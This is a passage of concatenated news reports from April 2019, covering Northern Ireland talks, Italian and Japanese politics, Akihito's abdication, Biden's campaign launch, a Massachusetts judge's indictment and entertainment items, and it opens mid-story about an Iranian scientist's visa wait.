equivalent of the letter S: seeb, apple to represent beauty; seer garlic to represent health; sekeh coins to represent prosperity. It made him sad, to miss the holiday entirely, so he put together his own version, assembling the red-and-white bottles of lab chemicals sepharose, sodium acetate, sodium hydroxide onto a blue absorbent pad. Hed posted a photo on Instagram. The memory of it made him laugh. He sprinkled frozen corn onto the tomato paste, which hed just spooned onto the bread. A second later, he grew quiet. What can I say? Im laughing, but this is a crying story. He knew he had a decision to make, but he didnt know how to make it. To leave behind two years worth of blood vessel experiments, still unsure exactly which molecule did what that felt like abdication. But to live here, thousands of miles from Shabanian, felt more and more joyless. Why had the government granted them visas, only to withhold one now indefinitely? It made no sense. We are not puppets. We are not toys, he said. We are humans. Then again, maybe he didnt have to decide. Maybe the administrative processing would end before he checked again tomorrow. Or maybe the next day. Or maybe the day after that. By Amanda Ferguson and Padraic Halpin BELFAST/DUBLIN (Reuters) - The British and Irish governments announced on Friday a resumption of talks to restore Northern Ireland's devolved government, spurred into ending a hiatus in dialogue of more than a year by the killing of a journalist last week. The British-run province has been without a devolved executive for over two years since Irish nationalists Sinn Fein withdrew from the compulsory power-sharing government with the pro-British Democratic Unionist Party (DUP). But the shooting dead last week of 29-year-old reporter Lyra McKee during rioting by militant Irish nationalists has raised pressure on the parties from voters and the two governments to re-establish the regional government that is central to Northern Ireland's 1998 peace agreement. "We are leaving far too much wide open space for other kinds of voices that don't believe in democracy, that peddle hate and fear," Irish Foreign Minister Simon Coveney told a joint news conference with his co-broker of the talks, Britain's Northern Ireland minister Karen Bradley. "People have no patience for another show of a process or talks that go on and on and on, and then in the end go nowhere. We've had enough of that. It needs to be different this time." The talks will begin on May 7 after local elections in the province with the aim of concluding well in advance of mid-July, when annual parades often raise tensions between pro-British Protestants and Irish nationalist Catholics, Coveney said. At McKee's funeral on Wednesday, Roman Catholic priest Father Martin Magill received a spontaneous standing ovation when he made a direct appeal to the politicians in the church to use McKee's death as a catalyst to start talking again. "There are moments in politics when things change. I think the emotion of the last week has given a spark to the process," Coveney said. "We'd be very foolish if we allowed that time to pass." Attempts to find a compromise have been complicated by poor relations between Sinn Fein and the DUP, the DUP's role in propping up May's minority government in London, and the impact on the region of Britain's planned exit from the European Union. The talks most recently collapsed in February last year when Sinn Fein said that they had reached an accommodation with the leadership of the DUP that put an agreement within reach but that the DUP failed to close the deal and collapsed the talks. While both sides welcomed the talks, neither have shown much willingness to budge in recent days, despite the pressure. "Anyone who thinks agreement can be reached through a one-sided wish-list being implemented is not routed in reality," DUP leader Arlene Foster, who cited Sinn Fein's call for additional rights for Irish-language speakers as the main reason for the impasse last time, said in a statement. Sinn Fein's leader in Northern Ireland, Michelle O'Neill, said the talks had to deliver on rights-based issues so that all people in the province are "treated equally." "Nothing's changed in terms of what we need to deliver on. We can't acquiesce in the denial of rights," she told reporters. (Editing by Kate Holton and Toby Chopra) ROME (AP) A doctor who has treated migrants saved at sea and a prominent anti-Mafia prosecutor were among the candidates presented Friday by Italy's largest opposition party to run in the European Parliament elections next month. The Democratic Party's new leader, Nicola Zingaretti, acknowledged at a news conference in Rome that the elections, which are being held May 23-26 in all 28 European Union nations, "will be a difficult battle" but he said the party would confront them with "great conviction." The center-left party was once a powerful force in Italian politics, most recently governing the country from 2013-18, a long stretch by Italian standards. But weakened by internal divisions, the party was further hurt when then-Premier Matteo Renzi put constitutional reforms up for a vote in a referendum that failed in 2016. In the last election, in 2018, the Democrats suffered a heavy defeat to the populist 5-Star Movement and the anti-migrant League party, who now govern in a coalition. This European election comes as the party is attempting a comeback. Zingaretti described the candidates as men and women with different civic experiences but "united by an idea of the future." Dr. Pietro Bartolo of Lampedusa said he was running in hopes that his experience might help Europe to "retake those values on which it was founded," citing "hospitality, solidarity, respect and respect for human rights." Franco Roberti, a retired national anti-Mafia prosecutor who is highly respected for combating the Camorra crime syndicate in Naples, said he hopes to contribute to Europe in the areas of justice and security. "I believe that not me, as Franco Roberti, but our country, Italy, has a lot to say on these themes," Roberti said. "In some areas, we are a model for the other European countries. So we want to continue to export our model and assert our priorities." Rome (AFP) - Italy's highest court ruled Friday that judges considering asylum requests must use their investigative powers to determine the risks in the claimant's country of origin rather than relying on "stereotypes", Italian media reported. Judges are "obliged to ascertain the real situation in the country of provenance through the use of official investigative powers and the acquisition of documents, so each request may be examined with up to date information," the court said. The rebuke followed a rise in anti-immigrant sentiment in Italy under far-right interior minister Matteo Salvini. The Court of Cassation in Rome ruled in favour of a Pakistani citizen who had appealed after his asylum request was refused by two lower courts "on the basis of generic information on the internal situation in Pakistan". It said judges must not rely on "generic formulas" or simply cite "international sources" as a basis for their decisions, according to the reports. The case of the Pakistani asylum seeker will now be reexamined in the Lecce region of Italy. Meanwhile in France, la Cimade non-governmental organisation which works to help asylum seekers and refugees, on Friday slammed European asylum rules as an "infernal machine" with "Kafkaesque" procedures. In a 60-page report, the body said the European Union's so-called Dublin asylum rules, which stipulate that the country of first arrival must process asylum seekers, was an "absurd system". It said cases took between six and 18 months to process, adding that the overwhelming majority of requests were rejected. Italy's populist government in September adopted an anti-migrant decree aimed at streamlining the rules for processing asylum requests by tightening the rules for awarding humanitarian protection. The controversial bill also made it easier to expel migrants and strip them of Italian citizenship. ROME (Reuters) - The leader of Italy's ruling 5-Star Movement expects Prime Minister Giuseppe Conte to force a junior minister involved in a graft scandal to resign despite resistance from coalition partner, the League, according to comments in Corriere della Sera. Armando Siri, a transport ministry undersecretary and economic adviser to League chief Matteo Salvini, was put under investigation last week for allegedly accepting bribes to promote the interests of renewable energy firms. "I'm sure that Conte will push him to resign," 5-Star leader Luigi Di Maio said in an interview with Corriere della Sera. Salvini wants Siri to keep his role, while the 5-Star is seeking his resignation. The bickering has prompted new speculation that the government might collapse soon after the European Parliament election on May 26. (Reporting by Giselda Vagnoni; editing by Agnieszka Flak) ABIDJAN (Reuters) - Ivory Coast will more than quadruple its troop presence in the United Nations' peacekeeping mission in neighboring Mali to 800, President Alassane Ouattara said on Friday, making it one of the mission's leading contributors. The batallion of 650 troops will join the 150 Ivorian soldiers deployed in Mali, where security has deteriorated sharply in recent years due to attacks by jihadist groups with links to al Qaeda and Islamic State as well as ethnic clashes. The unrest has destabilized West Africa's entire Sahel region as national armies, Western commandos and the 15,000-strong U.N. mission in Mali, known as MINUSMA, fail to maintain control. MINUSMA was set up in 2013 after an Islamist uprising in the north the year before. Amid continuing violence, it has become the U.N.'s deadliest mission, with nearly 200 members killed, mostly in combat. Led by France, Western powers have also provided funding to a regional force called the G5 Sahel made up of soldiers from Mali, Niger, Burkina Faso, Chad and Mauritania to combat jihadists. "We must strengthen our security cooperation and continue our advocacy for the G5 Sahel and the resolution of the crisis in Libya which contributes greatly to instability in our sister countries of Niger, Mali, Burkina Faso and beyond," Ouattara told reporters on Friday. He said the additional troops would be deployed "very soon" without providing details. While Ivory Coast has been largely spared the violence affecting its neighbors, an attack in 2016 by al Qaeda gunmen on a beach resort along its southern coast killed 16 people. (Reporting by Loucoumane Coulibaly, Writing by Edward McAllister, Editing by William Maclean) Daniel Craig as Bond, James Bond James Bond 25 was only just launched a few days ago, but new reports have alleged that the blockbuster is already in trouble because of conflicts over its title and plot. On Thursday, the returning Daniel Craig, Ralph Fiennes, Naomi Harris, Ben Whishaw, and Lea Seydoux were joined at the launch of the film by new cast members Ana de Armas, Lashana Lynch, and recent Oscar winner Rami Malek, who will play the films villain. Read More: The Bond girl rule that can help us predict Bond 25s plot However, no title was provided at the event, which was deemed odd by some, while it has now been alleged that the script for the film has still not been completed. They dont have a script, theres no title, it is nearly five years since the last Bond. It starts with a retired Bond living in wedded bliss, but the rest of the script is still being worked over, insists a source for Page Six. Is James Bond 25 already in trouble? They rolled out the cast this week at Ian Flemings villa in Jamaica because if they wait much longer Daniel Craig, who is 51, will be too old, and then he really wont do the film. Phoebe Waller-Bridge, who was the showrunner on the hugely successful first season of Killing Eve and also created, wrote and starred in the equally acclaimed Fleabag, too, was recently brought in at the behest of Craig to add some last minute humor and wit to the screenplay. Read More: Bond 25 remains untitled, Rami Malek confirmed as villain Meanwhile, Danny Boyle originally confirmed that he would be the director of James Bond 25, only for him to leave a few few month later after his script for the film, which he co-wrote with John Hodge, was rejected by producers. Well see what Waller-Bridge, Fukunaga and Scott Z. Burns, who are all writers on the film, can do with Bond 25 when it is finally released on April 3, 2020. Japanese airlines ANA and JAL said Friday that soaring demand for international travel had boosted their bottom line as the country enjoys a tourism boom ahead of the 2020 Olympics. ANA booked a record operating profit of 165 billion yen ($1.5 billion), up 0.3 percent on the previous year as sales grew more than four percent to 2.05 trillion yen. "The airline industry in Japan has generally seen strong demand along with a large increase in foreign visitors to Japan," the firm said. However, net profits fell 23 percent on a year-on-year basis because last year's figures included a one-off gain from integrating a low-cost carrier as a subsidiary. Looking ahead, ANA forecast net profit would slip 2.5 percent to 108 billion yen and that operating profits would stagnate. Rival JAL saw net profit rise 11.4 percent to 150.8 billion yen as "demand for international flights expanded". But JAL also predicted headwinds, with net profits seen dropping around 25 percent as costs rise due to the ballooning price of fuel and an expanded fleet. Japan's Emperor Akihito will step down from the Chrysanthemum Throne on Tuesday, the first abdication in the world's oldest imperial family for two centuries, ending 30 years of his popular reign and ushering in a new era. Celebrations are planned across the country as the famously hard-working Japanese enjoy an unprecedented 10-day holiday with a series of special days off combining with the traditional "Golden Week" in May. Akihito's eldest son, 59-year-old Crown Prince Naruhito, will take the throne the following day in a series of solemn ceremonies, receiving the imperial regalia -- an ancient mirror, sword and jewel -- considered crucial evidence of an emperor's legitimacy. The abdication brings down the curtain on the current "Heisei" era, which started in January 1989 at the height of Japan's economic boom, and kicks off a new imperial era called "Reiwa" meaning "beautiful harmony". The popular Akihito, 85, stunned the nation in 2016 when he signalled his desire to take a back seat, citing his age and health problems -- he has been treated for prostate cancer and has also undergone heart surgery. There have been abdications in Japan's long imperial history, which has mythological origins and stretches back more than two millennia, but the last one was more than 200 years ago. - 'Succession crisis' - The status of the emperor is sensitive in Japan given its 20th century history of war waged in the name of Akihito's father Hirohito. Akihito was born in 1933 just as Japan was embarking on its militaristic sweep across Asia, and was 11 when the war ended in defeat. He listened in tears on August 15, 1945 as Hirohito made a radio address -- the first ever by an emperor -- to announce the shock loss. His father was allowed to remain on the throne after Japan's defeat and US occupation, but his status was downgraded from semi-divine sovereign to a figurehead with no political power. Story continues For his part, Akihito has embraced the role and tried to use it to help heal the scars of the war while modernising the ancient monarchy for a democratic age with a warmer, popular touch. He and Empress Michiko won widespread plaudits with their reaction to Japan's devastating 2011 earthquake, tsunami and nuclear meltdown, visiting victims in the radioactive Fukushima province just two months after the disaster. The emperor is barred from commenting on politics, but Akihito has over the years hinted at his own anti-nationalist views. He has irritated Japanese right-wingers by acknowledging that his country inflicted "great suffering" in China, and expressing regret over Japan's brutal rule of the Korean peninsula. There is no republican movement to speak of in Japan and the emperor and the royal family enjoy the admiration of the vast majority of the country. But the abdication has reignited concerns about a potential succession crisis. There are no more eligible male heirs after the 12-year-old son of Crown Prince Naruhito's younger brother Akishino. Japan's centuries-old succession would be broken if that son, Hisahito, does not have a male child. The idea of letting women ascend the throne is popular with ordinary Japanese, but it is vehemently opposed by traditionalists. Female royals lose their royal status upon marriage to a commoner, a rule that would apply to Naruhito's only child, Princess Aiko, now age 17. - 'Emperor burger' - Incoming emperor Naruhito faces the delicate task of balancing tradition within the monarchy and his own modern values, including protecting his family from the palace's rigid rules. The 59-year-old heir once criticised the sometimes stifling lifestyle imposed on royals, particularly as his wife Masako has struggled to adapt to imperial life and has long struggled with stress-induced illness. The dawn of a new era has left many Japanese reflecting on the changes since 1989, when the country was a global economic powerhouse dominating the world of technology. Now the country is suffering from sluggish economic growth, an ageing popular and labour shortage and has seen China and South Korea rise up to challenge its economic dominance and reputation for technological innovation. But the new era has refired Japan's entrepreneurial spirit with firms selling everything from commemorative bottles of sake to a Wagyu-beef "emperor burger" worth $900. One canny firm is even selling tins containing "the air of Heisei" -- yours at a snip for $10. (In this April 23 story, corrects date on which Heisei era began to Jan. 8.) By Linda Sieg and Kwiyeon Ha TOKYO (Reuters) - Japan's Heisei era, which began on Jan. 8, 1989 after Emperor Akihito inherited the throne and ends when he abdicates on April 30, saw economic stagnation, disasters and technological change. Generations of Japanese lived through those decades. Their differing views and experiences will shape the legacy of the Heisei years. WARTIME EXPERIENCES For decades, Haruyo Nihei kept her wartime memories locked away: mothers and infants burnt alive by incendiary bombs; herself struggling under corpses of fleeing victims; her sister's body covered with maggot-infested burns. But in 2002, almost six decades after World War Two ended and 13 years after Akihito took the throne, she decided to speak out. The trigger: a visit to a new museum about the March 10, 1945, U.S. firebombing that killed an estimated 100,000 people in Tokyo. Nihei, now 82, still hopes that by recounting her experience as an eight-year-old in the final days of the conflict, she can convey the horrors of war to young Japanese who know only peace. "Children today ... don't know anything about war and that's wonderful. But if they don't know about how Japan fought a war some 70 years ago, we may follow a mistaken path again," Nihei told Reuters before speaking to students at the museum. Preventing Japan from forgetting the tragedy of war has been a consistent priority of Akihito, in the name of whose father, Hirohito, Japanese troops fought World War Two. Nihei said she admired Akihito's efforts, including trips to overseas battle sites such as Saipan in 2005 to pray for war dead from Japan and other countries. "When I saw the image of the emperor and empress (bowing at a seaside cliff) on Saipan, I felt they were truly sorry for the sins the Emperor Showa had committed," she said, referring to Hirohito by his posthumous name. "I was moved." But she worries the wartime past has little resonance for today's Japanese youth. "I want them to study about the past properly and link that to the future," she said. BURST BUBBLE For Kenji Saito, Heisei was a time of shocking change and liberating opportunity. Saito, a former computer systems engineer, was on a business trip in November 1997 when he got a phone call. "Don't you work for Yamaichi?" a relative asked. Media had reported Yamaichi Securities, Japan's oldest and fourth-largest brokerage, was headed for collapse under the weight of losses hidden for years after the "bubble economy" of soaring asset prices burst. The image of Yamaichi's then-president Shohei Nozawa apologising and crying as he begged for jobs for the firm's nearly 8,000 employees became a symbol of the financial turmoil that ushered in Japan's "lost decade" of stagnation. The Heisei era also saw the unravelling of a lifetime employment system that was once a pillar of the country's post-war rise. "No one ever thought Yamaichi would collapse," said Saito, who had joined the firm as a 22-year-old college graduate. After the brokerage failed, he worked for a computer systems company run by his former boss. By 2005, he'd had enough of the corporate rat race and left to start a ramen shop that has since expanded to 10 restaurants. The economic stagnation of much of the era has left a gloomy taste for many, but Saito said he felt liberated. "I think for myself and can act on my own," he said. "For me, the Heisei years were good." Still, he worries too many Japanese lack entrepreneurial spirit. "People want stability. To put it negatively, they lack the spirit to challenge." FUTURE ANGST A massive natural disaster, technological change, and anxiety about the future are what university student Yuri Harada thinks of when she ponders the Heisei era. Harada was 11 when a massive 9.0-magnitude earthquake and tsunami hit northeast Japan on March 11, 2011, triggering a nuclear meltdown in Fukushima. "Even in Tokyo, the shaking was strong and students panicked," said Harada, 19 and a student at Waseda University. She walked three hours to get home because trains had stopped and later saw the devastation on TV. "It was really shocking." In elementary school, Harada longed for a smartphone, just beginning to spread in Japan. At first, her parents said it was too costly, but by the time she was in junior high, the devices were ubiquitous. "I feel as if the advance of technology corresponded with my growing up," she said. Japan is in the midst of a historic labour shortage, but Harada recalled the "employment ice age" her elders suffered through after the economic bubble burst. She is concerned a potential downturn could wreck the job market again. "Frankly ... I worry whether this sellers' market will persist," she said. Longer-term, she worries whether Japan's social stability will crumble. Japan this month introduced a visa programme to let in more blue-collar workers, a big step in the immigration-shy country. "If we don't do this properly, we could follow the same path" as Western countries gripped by anger over immigration, said Harada, who has studied abroad and majors in international relations. Such fears cloud her hopes for the new "Reiwa" imperial era, which begins on May 1. "I'd like to be optimistic, but I can't," she said. (Writing by Linda Sieg; Editing by Gerry Doyle) Labour Party leader Jeremy Corbyn is facing pressure to commit to a second referendum (Picture: Brian Lawless/PA via AP) Jeremy Corbyn is facing pressure from his own party to commit to a second Brexit referendum. Labour MPs and MEPs are reportedly signing a letter to the partys National Executive Committee (NEC) that calls for its European Union elections manifesto to contain a commitment to a second Brexit vote. The letter, shared on Twitter by ITV Political Editor Robert Peston, says: To motivate our supporters, and to do the right thing by our members and our policy, a clear commitment to a confirmatory public vote on any Brexit deal must be part of our European election manifesto. Labour MPs and MEPs are signing letter to partys ruling NEC calling for its EU elections manifesto to contain unambiguous commitment to confirmatory Brexit referendum. Attached is crucial section. Momentous decision for the NEC on Tuesday. pic.twitter.com/th02qYGDsu Robert Peston (@Peston) April 26, 2019 A decision is expected to be made by the NEC at an emergency meeting on Tuesday. According to Peston, all Labour MEPs agree on the approach, which also has the backing of Labours union supporters including Unison, the GMB and USDAW. READ MORE Lion of London Bridge set to be released from jail Launching the Liberal Democrat EU elections campaign, leader Sir Vince Cable accused Labour of a stitch-up with the Conservative Government, saying it was no wonder Labours supporters felt let down. He said: "What we know is that any form of Brexit puts our country at risk - the NHS, our public services, jobs across the country and peace in Northern Ireland. "Our global reputation has taken a battering for a project which would leave us worse off at home and less influential in the world. "Our ambition is no less than to stop Brexit, and see this new group of Liberal Democrat MEPs influence the future of Europe for years to come." ---Watch the latest videos from Yahoo UK--- Joe Biden, who launched his third campaign for president on Thursday, told Anita Hill he regretted the way he handled her testimony against Clarence Thomas at the 1991 supreme court hearings but she was not satisfied by the conversation. The former vice-president contacted her earlier this month to express his regret for what she endured during the hearing, an attempt to reckon with a defining moment from his past that looms over his present bid for the White House. But in an interview with the New York Times, published hours after Biden launched his 2020 campaign, Hill said she was not satisfied with his outreach and declined to characterize his comments as an apology. Sign up for the US morning briefing I cannot be satisfied by simply saying Im sorry for what happened to you, she told the paper. I will be satisfied when I know there is real change and real accountability and real purpose. Biden, who was chairman of the Senate judiciary committee and oversaw the confirmation hearing during which she accused Thomas of sexual harassment, has previously apologized for allowing an all-male and all-white panel of lawmakers to aggressively question Hill. His role in the hearing has come under fresh scrutiny in light of the #MeToo movement and the 2018 supreme court hearing of Justice Brett Kavanaugh, who denied accusations of sexually assaulting a woman when he was a teenager. Hill, now a law professor, told the newspaper that she could not support Biden until he takes responsibility for his behavior. The focus on apology to me is one thing, she said. But he needs to give an apology to the other women and to the American public because we know now how deeply disappointed Americans around the country were about what they saw. And not just women. There are women and men now who have just really lost confidence in our government to respond to the problem of gender violence. Related: 'I am a gaffe machine': a history of Joe Biden's biggest blunders Story continues A spokesperson for Bidens 2020 campaign confirmed his outreach to Hill. They had a private discussion where he shared with her directly his regret for what she endured and his admiration for everything she has done to change the culture around sexual harassment in this country, the spokesperson said. Biden publicly addressed his treatment of Hill last month at an event in New York City honoring students who helped fight sexual violence on college campuses. She faced a committee that didnt fully understand what the hell this was all about. To this day, I regret I couldnt give her the kind of hearing she deserved, he said at an event in New York City last month. I wish I could have done something. Hills comments come as Biden defends himself against allegations from several women who have accused him of unwanted, inappropriate behavior. In response, Biden vowed to change his behavior. Social norms are changing. I understand that, and Ive heard what these women are saying, Biden said in a video. Politics to me has always been about making connections, but I will be more mindful of personal space in the future. Thats my responsibility and I will meet it. Former vice president Joe Biden has finally entered the battle for the White House, claiming the 2020 race would be nothing less than a battle for the soul of this nation. In one of the most highly anticipated, but widely expected steps of the election cycle, the Democrat from Delaware declared his intention to launch his third presidential bid. If he succeeds in securing the partys nomination, it would mean the 2020 contest to lead the large and diverse country is a showdown between two white men aged in their 70s. In a video, accompanied by stirring score featuring strings and a piano, Mr Biden pointed to the deadly, far right violence that erupted in Charlottesville, Virginia, in the summer of 2017, as an example at what was at stake. I believe history will look back on four years of this president and all he embraces as an aberrant moment in time, he said. But if we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation, who we are, and I cannot stand by and let that happen. Mr Trump, who had said both sides were to blame for the Charlottesville violence, was quick to respond, revealing what may become his nickname of choice for Mr Biden, should he end up facing him. Welcome to the race Sleepy Joe. I only hope you have the intelligence, long in doubt, to wage a successful primary campaign, the president tweeted. It will be nasty you will be dealing with people who truly have some very sick and demented ideas. But if you make it, I will see you at the starting gate. Even before he officially entered, Mr Biden led among a large pool of declared and Democratic candidates, well ahead of Bernie Sanders, Kamala Harris, Elizabeth Warren, Pete Buttigieg and Beto ORourke. As someone positioned to centre left of the Democratic field, though not a solid progressive, it is likely he could take support from many of his rivals. Along with his name recognition, Mr Biden will expect to earn the votes of some African American voters, especially older ones, who admired the way he served Barack Obama as a loyal vice president. Story continues Asked whether he had received or sought the endorsement of the man with whom for eight years he ate lunch every week, he said he had asked him not to publicly back him. Whoever wins this nomination should win it on their own merits, said the former vice president, who has labelled himself a Obama-Biden Democrat. As it was, Obama, who reportedly persuaded Mr Biden not to run in 2016 as he felt Hillary Clinton would be a more better successor, let it be known on Thursday through a spokesman he had always valued his knowledge, insight, and judgment throughout both campaigns and the entire presidency. Mr Biden may start at the top of the polls of Democratic voters, but winning the partys nomination is far from a given. Many will question whether, at the age of 76, he has left it too late to make what will be his third presidential bid. After a career of more than four decades in Washington, Mr Biden also has lots of baggage that will be scrutnised. Among this will be his associations with big businesses and corporations who have previously backed his campaigns, his championing of 1994 crime bill that proportionately impacted communities of colour, and his 1991 questioning of Anita Hill during the confirmation hearing for Supreme Court Justice Clarence Thomas. Many have accused him of both misogyny and racism over the episode. On Thursday, the New York Times reported Mr Biden had called Ms Hill to apologise. She had not been quick to forgive him. I cannot be satisfied by simply saying Im sorry for what happened to you. I will be satisfied when I know there is real change and real accountability and real purpose, she told the newspaper. More recently, a number of women have come forward to highlight instances of so-called inappropriate touching by Mr Biden, something he apologised for, which for which he is referred to by some as Creepy Joe. Many in the progressive wing of the Democratic Party, fresh from a victory in the 2018 midterms that saw greater number of women and people of colour elected to congress than ever before, believe Mr Biden candidacy would not represent the future. Joe Biden is going to regret this decision, Matt Gorman, a former official at the National Republican Congressional Committee, an arm of the Republican Party, told Reuters. His candidacy will not only rehash his very long record in public life, but allow his opponents to subtly argue he is too old and too moderate to be the Democratic standard-bearer. The Progressive Change Campaign Committee, which backs senator Elizabeth Warren of Massachusetts, said Mr Bidens centrist record could be a hindrance. Adam Green, the groups co-founder, said: If Joe Biden positions himself as the political insider from yesteryear who says big ideas like universal childcare, student debt relief and a wealth tax on ultra-millionaires are not possible, he would be an easy foil. John Rhys-Davies has been accused of thuggish and sexist behaviour after blowing up at MP Caroline Lucas on BBCs Question Time Lord of the Rings actor John Rhys-Davies has come under fire after a video of him blowing up at Green Party MP Caroline Lucas on BBC debate show Question Time went viral. Digital strategist and self-proclaimed whistleblower Shahmir Sanni shared a clip of Rhys-Davies reacting to Lucas in an aggressive manner when she challenged his statement that President Donald Trump represents the American people and should therefore be afforded a UK visit. But he doesnt, Lucas began. He lost the popular vote by nearly three million votes. Read more: We dont want to be an anti-Trump thing. New conservative media outlet prepares to launch Rhys-Davies flailed his arms around, before banging his fists on the panels table and shouting, Oh, woman! Have you never read Kenneth Arrow and the Arrows theorem? Any system of election has its problems. Alongside the video, which was originally posted by Julian Drucker, Sanni wrote: Every woman has seen a man react like this when they are caught off guard by common sense. Yet they stay calm & resilient. [Caroline Lucas] is the reason Im voting Green in the EU elections and the general election. Every woman has seen a man react like this when they are caught off guard by common sense. Yet they stay calm & resilient. @CarolineLucas is the reason Im voting Green in the EU elections and the general election. pic.twitter.com/3oQnEl1eUB Shahmir Sanni (@shahmiruk) April 26, 2019 Many others reacted to his tweet. One Twitter user described Rhys-Davies as a crazed Brexit fan but went on to target the show itself, saying: [Him] blowing up at Caroline Lucas for daring to challenge him after being cheered on all night really epitomises where #bbcqt has sunk to. Activist Dr Lauren Gavaghan compared Rhys-Davies behaviour to that of a petulant child and praised Lucas for remaining dignified in the face of it. Story continues This is precisely why facts are so key in public debate these days, she concluded. Pro-European Union campaigner Femi Oluwole condemned his thuggish, sexist attitude, voicing that he was genuinely worried for Caroline Lucas in this moment. Journalist Scott Weinberg chimed in, saying: John Rhys-Davies will appear in literally any film that offers him a plane ticket and craft services. Plus hes a f***ing bigot. I used to love the guy. Now hes trash. Read more: Peter Jackson to make a Beatles documentary using 55 hours of unseen footage Sherlock actor Amanda Abbington tried to make light of the situation, warning: Remind me never to be in a rehearsal room with John Rhys-Davies I dont think wed gel Comedian Dom Joly also weighed in on the outburst, saying: Christ John Rhys Davies is like Brian Blesseds Idiot brother- hes the sort of guy you spot in a pub and try not to make eye contact with. Newton District Court Judge Shelley Richmond Joseph is accused of helping an undocumented immigrant escape through a courthouse rear exit. Here she is pictured leaving Federal Court in Boston after being indicted. (Photo by Jessica Rinaldi/The Boston Globe via Getty Images) A Massachusetts district court judge and a former court officer face federal charges for allegedly helping an undocumented immigrant evade immigration authorities. According to the indictment, they helped the unnamed immigrant escape out a courthouse rear exit while an Immigration Customs Enforcement (ICE) officer waited in the lobby. Newton District Court Judge Shelley Richmond Joseph, 51, and former trial court officer Wesley MacGregor, 56, were charged Thursday, April 25 with obstruction of justice and other federal charges. "This case is not about immigration. This case is about the rule of law," U.S. Attorney Andrew Lelling said at a press conference at a U.S District Court in Boston. "We cannot pick and choose the federal laws we follow, or use our personal views to justify violating the law." Here's the top of the indictment of a judge and court officer - accused of helping a defendant evade ICE agents. Both are charged with conspiracy to obstruct justice, obstruction of justice & obstruction of a fed proceeding. Only the court officer is charged with perjury. #wcvb pic.twitter.com/LiKlDSZeGv Karen Anderson (@karenreports) April 25, 2019 According to authorities, on April 2, 2018, Joseph was hearing the case of an undocumented immigrant referred to in the indictment as A.S. The individual was arrested four days prior by Newtown police for drug possession and for being a fugitive from justice in Pennsylvania. A.S. had allegedly been deported twice (in 2003 and 2007) and was prohibited from re-entering the U.S. until 2027, CNN reports. Upon learning about the arrest of A.S., ICE issued an order for a federal immigration detainer and warrant for removal, sending a plainclothes ICE officer to pick him up at the Newton District Courthouse. Story continues According to Lelling, the ICE officer alerted several courthouse personnel, including MacGregor, of his intentions to take the undocumented immigrant into federal custody. Although the agent was initially sitting in the public audience area of the courtroom, Joseph directed a court clerk to ask the ICE officer to wait outside in the lobby before the unnamed undocumented immigrants court session. In a court audio recording, the defendants attorney can be heard telling Joseph he believed his client was not the same person named in the fugitive warrant. "ICE is going to pick him up if he walks out the front door. But I think the best thing for us to do is to clear the fugitive issue, release him on a personal, and hope that he can avoid ICE, the attorney said, CNN reports. That's the best I can do." Joseph responded, ICE is gonna get him? According to the indictment, Joseph then ordered the court clerk to turn off the court recording device, leaving a gap of 52 seconds the period in which the Joseph and MacGregor allegedly conspired to have A.S. escape through the back door to avoid immigration authorities. Joseph allegedly later told a senior district court judge that the recording device was shut off due to "unfamiliarity with the Courtroom recording equipment." When the recording device was turned on again, the prosecutor declared there was not enough evidence to hold him on the Pennsylvania warrant and Joseph ordered the man to be released. The immigrants defense attorney then requested to collect his clients property downstairs. From there, MacGregor allegedly escorted the defendant, his attorney and an interpreter to lock up and used his security access card to open the rear exit. Andrew Lelling, U.S. Attorney for the District of Massachusetts, speaks during a news conference in Boston. On Thursday, April 25 Lelling announced charges against Newton, Mass., District Court Judge Shelley M. Richmond Joseph and a former court officer on obstruction of justice for allegedly helping a man in the country illegally evade immigration officials as he left the courthouse. (AP Photo/Steven Senne, File) The grand jury has found probable cause that a judge intentionally interfered with a federal investigation by letting a fugitive out the backdoor of the courthouse... Everyone in the justice system not just judges, but law enforcement officers, prosecutors and defense counsel should be held to a higher standard, Lelling said, adding that the Joseph made false and misleading statements when asked about the incident. The law must apply to all of us, even the rich and famous. Today, I would add that it must apply to the privileged and the powerful. MacGregor and Joseph have been charged with conspiracy to obstruct justice, obstruction of justice, obstruction of a federal proceeding, and aiding and abetting. MacGregor was also charged with one count of perjury. Yahoo Lifestyles requests for comment from Josephs attorney have not been answered. Both Joseph and MacGregor pleaded not guilty to the charges and were released without bond on Thursday, April 25. Joseph was suspended without pay by the state's Supreme Judicial Courta move supported by Republican Massachusetts Gov. Charlie Baker, WCVB reports. Massachusetts Attorney General Maura Healey has been critical of the Department of Justice, calling the indictments "a radical and politically motivated attack on our state and the independence of our courts." The executive director of American Civil Liberties Union (ACLU) Massachusetts, Carol Rose, added that the Justice Departments indictment is preposterous, ironic, and deeply damaging to the rule of law. In a statement, Rose added, This decision seems to have little to do with the actual facts, and everything to do with enforcing the presidents anti-immigrant agenda. Read more from Yahoo Lifestyle: Prison guards fired after posting 'inappropriate' selfies: 'Feeling cute, might just gas some inmates today' Student finds 'whites only' note in school bathroom: 'Racism has taken over our school' Armed volunteer militia group detain immigrants at the U.S. border: 'Its an explosive situation' Follow us on Instagram, Facebook, and Twitter for nonstop inspiration delivered fresh to your feed, every day. NEW YORK (AP) A judge has agreed to delay the next step in the legal process for federal extortion charges against lawyer Michael Avenatti for 30 days. An order signed Thursday by U.S. Magistrate Judge Henry Pitman was entered in the public record Friday. The order extends until May 28 a deadline for formal charges to be brought against Avenatti, who gained fame with his representation of porn star Stormy Daniels during her legal battles with President Donald Trump. Prosecutors say Avenatti's attorney had requested more time to retain a lawyer to discuss a resolution of the case with the government. Avenatti says he expects to be exonerated on charges in New York accusing him of trying to extort millions of dollars from Nike. He also has disputed fraud charges brought against him in California. Judith Light, the two-time Tony and Emmy Award-winning actress, will receive the Tonys honorary Isabelle Stevenson Award, the Tony Awards Administration Committee announced Friday. The Isabelle Stevenson Award is presented annually to a member of the theatre community who has made a substantial contribution of volunteered time and effort on behalf of one or more humanitarian, social service or charitable organizations. Light will receive the award for her advocacy to end HIV/AIDS and for her support for LGBTQ+ and human rights. To be so generously acknowledged by The American Theatre Wing, The Broadway League and the Tony Awards, and to be included with these outstanding individuals who have received this honor before me, has been one of the most extraordinary gifts I have ever received in my life, Light said in a statement. The HIV/AIDS and LGBTQ+ communities are inspirations and demonstrations of how to be and live in the world; courageous, honorable, and uplifting. They inspire me and it is my privilege to be of service to them. I am humbled by this recognition from my theatre family, whom I so respect, honor, and love. Also Read: Judith Light on What #MeToo Accusers Can Learn From the LGBTQ Community (Video) Light won her previous Tony awards for her work in Other Desert Cities and The Assembled Parties in 2012 and 2013 respectively, becoming the first actress in 